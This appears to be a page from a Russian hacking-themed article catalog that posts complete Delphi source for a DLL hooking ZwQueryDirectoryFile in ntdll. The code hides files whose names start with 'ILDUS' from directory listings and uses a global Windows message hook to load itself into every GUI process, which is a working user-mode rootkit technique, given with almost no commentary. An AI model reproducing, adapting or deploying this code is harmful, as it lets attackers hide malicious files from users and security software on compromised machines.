Статистика |
Онлайн всего: 1 Гостей: 1 Пользователей: 0 |
|
|
Каталог статей |
Перехват ZwQueryDirectoryFile на delphi
Перехват ZwQueryDirectoryFile на delphi
library Hide; uses Windows; type NTStatus = cardinal; USHORT = WORD; OldCode = packed record One: dword; two: word; end; far_jmp = packed record PuhsOp: byte; PushArg: pointer; RetOp: byte; end; PUnicodeString = ^TUnicodeString; TUnicodeString = packed record Length: Word; MaximumLength: Word; Buffer: PWideChar; end; PFILE_DIRECTORY_INFORMATION = ^FILE_DIRECTORY_INFORMATION; FILE_DIRECTORY_INFORMATION = packed record NextEntryOffset: ULONG; Unknown: ULONG; CreationTime: LARGE_INTEGER; LastAccessTime: LARGE_INTEGER; LastWriteTime: LARGE_INTEGER; ChangeTime: LARGE_INTEGER; EndOfFile: LARGE_INTEGER; AllocationSize: LARGE_INTEGER; FileAttributes: ULONG; FileNameLength: ULONG; FileName: array[0..0] of WideChar; end; PFILE_FULL_DIRECTORY_INFORMATION = ^FILE_FULL_DIRECTORY_INFORMATION; FILE_FULL_DIRECTORY_INFORMATION = packed record NextEntryOffset: ULONG; Unknown: ULONG; CreationTime: LARGE_INTEGER; LastAccessTime: LARGE_INTEGER; LastWriteTime: LARGE_INTEGER; ChangeTime: LARGE_INTEGER; EndOfFile: LARGE_INTEGER; AllocationSize: LARGE_INTEGER; FileAttributes: ULONG; FileNameLength: ULONG; EaInformationLength: ULONG; FileName: array[0..0] of WideChar; end; PFILE_BOTH_DIRECTORY_INFORMATION = ^FILE_BOTH_DIRECTORY_INFORMATION; FILE_BOTH_DIRECTORY_INFORMATION = packed record NextEntryOffset: ULONG; Unknown: ULONG; CreationTime: LARGE_INTEGER; LastAccessTime: LARGE_INTEGER; LastWriteTime: LARGE_INTEGER; ChangeTime: LARGE_INTEGER; EndOfFile: LARGE_INTEGER; AllocationSize: LARGE_INTEGER; FileAttributes: ULONG; FileNameLength: ULONG; EaInformationLength: ULONG; AlternateNameLength: USHORT; AlternateName: array [0..11] of WideChar; FileName: array [0..0] of WideChar; end; PFILE_NAMES_INFORMATION = ^FILE_NAMES_INFORMATION; FILE_NAMES_INFORMATION = packed record NextEntryOffset: ULONG; Unknown: ULONG; FileNameLength: ULONG; FileName: array [0..0] of WideChar; end; const FileDirectoryInformation = 1; FileFullDirectoryInformation = 2; FileBothDirectoryInformation = 3; FileNamesInformation = 12; STATUS_NO_SUCH_FILE = $C000000F; STATUS_SUCCESS = $00000000; var JmpZwq: far_jmp; OldZwq: OldCode; PtrZwq: Pointer; Function ZwQueryDirectoryFile(FileHandle: dword; Event: dword; ApcRoutine: pointer; ApcContext: pointer; IoStatusBlock: pointer; FileInformation: pointer; FileInformationLength: dword; FileInformationClass: dword; ReturnSingleEntry: bool; FileName: PUnicodeString; RestartScan: bool): NTStatus; stdcall; external 'ntdll.dll'; Function cpmpwclen(Str1: PWideChar; Str2: PWideChar; Len: integer): boolean; var i: integer; begin Result := true; for i:=0 to (len div 2)-1 do if str1[i]<>str2[i] then Result := false end; Function TrueZwQueryDirectoryFile(FileHandle: dword; Event: dword; ApcRoutine: pointer; ApcContext: pointer; IoStatusBlock: pointer; FileInformation: pointer; FileInformationLength: dword; FileInformationClass: dword; ReturnSingleEntry: bool; FileName: PUnicodeString; RestartScan: bool): NTStatus; stdcall; var Written: dword; begin WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Written); Result := ZwQueryDirectoryFile(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, FileInformation, FileInformationLength, FileInformationClass, ReturnSingleEntry, FileName, RestartScan); WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @JmpZwq, SizeOf(far_jmp), Written) end; Function NewZwQueryDirectoryFile(FileHandle: dword; Event: dword; ApcRoutine: pointer; ApcContext: pointer; IoStatusBlock: pointer; FileInformation: pointer; FileInformationLength: dword; FileInformationClass: dword; ReturnSingleEntry: bool; FileName: PUnicodeString; RestartScan: bool): NTStatus; stdcall; var LastFileDirectoryInfo, FileDirectoryInfo: PFILE_DIRECTORY_INFORMATION; LastFileFullDirectoryInfo, FileFullDirectoryInfo: PFILE_FULL_DIRECTORY_INFORMATION; LastFileBothDirectoryInfo, FileBothDirectoryInfo: PFILE_BOTH_DIRECTORY_INFORMATION; LastFileNamesInfo, FileNamesInfo: PFILE_NAMES_INFORMATION; Offset : dword; begin Result := TrueZwQueryDirectoryFile(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, FileInformation, FileInformationLength, FileInformationClass, ReturnSingleEntry, FileName, RestartScan); if Result = STATUS_SUCCESS then begin Offset := 0; case FileInformationClass of FileDirectoryInformation: begin FileDirectoryInfo := nil; repeat LastFileDirectoryInfo := FileDirectoryInfo; FileDirectoryInfo := pointer(dword(FileInformation) + Offset); if (FileDirectoryInfo^.FileNameLength > 1) and (cpmpwclen(FileDirectoryInfo^.FileName, 'ILDUS',FileDirectoryInfo^.FileNameLength)) then begin if FileDirectoryInfo^.NextEntryOffset = 0 then begin if LastFileDirectoryInfo <> nil then LastFileDirectoryInfo^.NextEntryOffset := 0 else Result := STATUS_NO_SUCH_FILE end else if LastFileDirectoryInfo <> nil then LastFileDirectoryInfo^.NextEntryOffset := LastFileDirectoryInfo^.NextEntryOffset + FileDirectoryInfo^.NextEntryOffset end; Offset := Offset + FileDirectoryInfo^.NextEntryOffset; until FileDirectoryInfo^.NextEntryOffset = 0 end; FileFullDirectoryInformation: begin FileFullDirectoryInfo := nil; repeat LastFileFullDirectoryInfo := FileFullDirectoryInfo; FileFullDirectoryInfo := pointer(dword(FileInformation) + Offset); if (FileFullDirectoryInfo^.FileNameLength > 1) and (cpmpwclen(FileFullDirectoryInfo^.FileName, 'ILDUS',FileFullDirectoryInfo^.FileNameLength)) then begin if FileFullDirectoryInfo^.NextEntryOffset = 0 then begin if LastFileFullDirectoryInfo <> nil then LastFileFullDirectoryInfo^.NextEntryOffset := 0 else Result := STATUS_NO_SUCH_FILE end else if LastFileFullDirectoryInfo <> nil then LastFileFullDirectoryInfo^.NextEntryOffset := LastFileFullDirectoryInfo^.NextEntryOffset + FileFullDirectoryInfo^.NextEntryOffset end; Offset := Offset + FileFullDirectoryInfo^.NextEntryOffset; until FileFullDirectoryInfo^.NextEntryOffset = 0 end; FileBothDirectoryInformation: begin FileBothDirectoryInfo := nil; repeat LastFileBothDirectoryInfo := FileBothDirectoryInfo; FileBothDirectoryInfo := pointer(dword(FileInformation) + Offset); if (FileBothDirectoryInfo^.FileNameLength > 1) and (cpmpwclen(FileBothDirectoryInfo^.FileName, 'ILDUS',FileBothDirectoryInfo^.FileNameLength)) then begin if FileBothDirectoryInfo^.NextEntryOffset = 0 then begin if LastFileBothDirectoryInfo <> nil then LastFileBothDirectoryInfo^.NextEntryOffset := 0 else Result := STATUS_NO_SUCH_FILE end else if LastFileBothDirectoryInfo <> nil then LastFileBothDirectoryInfo^.NextEntryOffset := LastFileBothDirectoryInfo^.NextEntryOffset + FileBothDirectoryInfo^.NextEntryOffset end; Offset := Offset + FileBothDirectoryInfo^.NextEntryOffset; until FileBothDirectoryInfo^.NextEntryOffset = 0 end; FileNamesInformation: begin FileNamesInfo := nil; repeat LastFileNamesInfo := FileNamesInfo; FileNamesInfo := pointer(dword(FileInformation) + Offset); if (FileNamesInfo^.FileNameLength > 1) and (cpmpwclen(FileNamesInfo^.FileName, 'ILDUS',FileNamesInfo^.FileNameLength)) then begin if FileNamesInfo^.NextEntryOffset = 0 then begin if LastFileNamesInfo <> nil then LastFileNamesInfo^.NextEntryOffset := 0 else Result := STATUS_NO_SUCH_FILE end else if LastFileNamesInfo <> nil then LastFileNamesInfo^.NextEntryOffset := LastFileNamesInfo^.NextEntryOffset + FileNamesInfo^.NextEntryOffset end; Offset := Offset + FileNamesInfo^.NextEntryOffset; until FileNamesInfo^.NextEntryOffset = 0 end end end end; Procedure SetHook(); var Bytes: dword; begin PtrZwq := GetProcAddress(GetModuleHandle('ntdll.dll'), 'ZwQueryDirectoryFile'); ReadProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes); JmpZwq.PuhsOp := $68; JmpZwq.PushArg := @NewZwQueryDirectoryFile; JmpZwq.RetOp := $C3; WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @JmpZwq, SizeOf(far_jmp), Bytes) end; Procedure Unhook(); var Bytes: DWORD; begin WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes) end; Function MessageProc(code : integer; wParam : word; lParam : longint) : longint; stdcall; begin CallNextHookEx(0, Code, wParam, lparam); Result := 0 end; Procedure SetGlobalHookProc(); begin SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0); Sleep(INFINITE) end; Procedure SetGlobalHook(); var hMutex: dword; TrId: dword; begin hMutex := CreateMutex(nil, false, 'FileHideHook'); if GetLastError = 0 then CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, TrId) else CloseHandle(hMutex) end; procedure DLLEntryPoint(dwReason: DWord); begin case dwReason of DLL_PROCESS_ATTACH: begin SetGlobalHook(); SetHook() end; DLL_PROCESS_DETACH: begin Unhook() end end end; begin DllProc := @DLLEntryPoint; DLLEntryPoint(DLL_PROCESS_ATTACH) end.
|
Категория: }I{ack | Добавил: TERMINATOR (24.08.2013)
|
Просмотров: 1036 | Комментарии: 1
| Рейтинг: 5.0/1 |
|
|
|